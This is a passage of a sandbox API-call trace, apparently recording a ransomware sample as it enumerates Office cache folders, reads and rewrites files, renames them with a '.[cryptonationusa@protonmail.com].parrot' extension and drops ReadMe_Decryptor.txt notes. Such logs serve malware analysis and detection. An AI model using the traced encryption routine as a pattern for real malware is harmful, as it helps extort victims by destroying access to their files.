HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0050.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0050.537] WriteFile (in: hFile=0x310, lpBuffer=0x5edba0*, nNumberOfBytesToWrite=0x768, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5edba0*, lpNumberOfBytesWritten=0x235f1e8*=0x768, lpOverlapped=0x0) returned 1 [0050.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0050.537] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x760, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.537] CloseHandle (hObject=0x310) returned 1 [0050.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0050.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1230 [0050.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0050.538] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0050.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1230 | out: hHeap=0x540000) returned 1 [0050.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0050.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0050.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0050.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0050.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0050.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0050.540] GetFileType (hFile=0x310) returned 0x1 [0050.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0050.550] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0050.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0050.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0050.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0050.551] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0050.969] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5daca0 [0050.969] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xad426aa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad426aa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.998] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xac0f5940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x265d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PUBLIS~1.PAR")) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.998] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0050.998] lstrcmpW (lpString1="PublisherMUI.msi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1230 [0050.998] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xac3ef4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PUBLIS~2.PAR")) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.998] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0050.998] lstrcmpW (lpString1="PublisherMUI.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1328 [0050.998] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xad342260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x97f50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PUBLRC~1.PAR")) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0050.998] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0050.998] lstrcmpW (lpString1="PubLR.cab.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1420 [0050.998] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac37d0a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xac37d0a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad44cc00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0050.998] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.998] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0050.998] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xad426aa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 1 [0050.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0050.999] lstrcmpW (lpString1="Setup.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1518 [0050.999] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xad426aa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0050.999] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fca20 | out: hHeap=0x540000) returned 1 [0050.999] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0050.999] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0050.999] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9558 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9558 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9558 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9558 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0050.999] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0050.999] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9558 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fca20 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc998 | out: hHeap=0x540000) returned 1 [0051.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9558 | out: hHeap=0x540000) returned 1 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fc998 [0051.000] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0051.000] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5daca0 [0051.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.216] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.216] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.216] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.216] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0051.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.216] lstrcmpW (lpString1="OutlkLR.cab", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.216] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0051.217] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0xe21fcc [0051.217] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe220e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.217] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0051.217] ReadFile (in: hFile=0x310, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0051.218] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.219] ReadFile (in: hFile=0x310, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0051.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0051.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0051.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0051.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0051.229] GetLastError () returned 0x0 [0051.229] SetLastError (dwErrCode=0x0) [0051.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0051.229] GetLastError () returned 0x0 [0051.229] SetLastError (dwErrCode=0x0) [0051.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0051.229] GetLastError () returned 0x0 [0051.229] SetLastError (dwErrCode=0x0) [0051.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28e9df8 [0051.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ebe38 [0051.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e9df8 | out: hHeap=0x540000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28efe78 [0051.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ebe38 | out: hHeap=0x540000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x61c990 [0051.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28efe78 | out: hHeap=0x540000) returned 1 [0051.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x28fde30 [0051.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0051.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x291de70 [0051.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0051.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0051.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x291de70 | out: hHeap=0x540000) returned 1 [0051.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0051.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x26c0020 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0051.388] GetLastError () returned 0x0 [0051.388] SetLastError (dwErrCode=0x0) [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0051.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0051.388] RtlAllocateHeap (HeapHandle=0x540000, 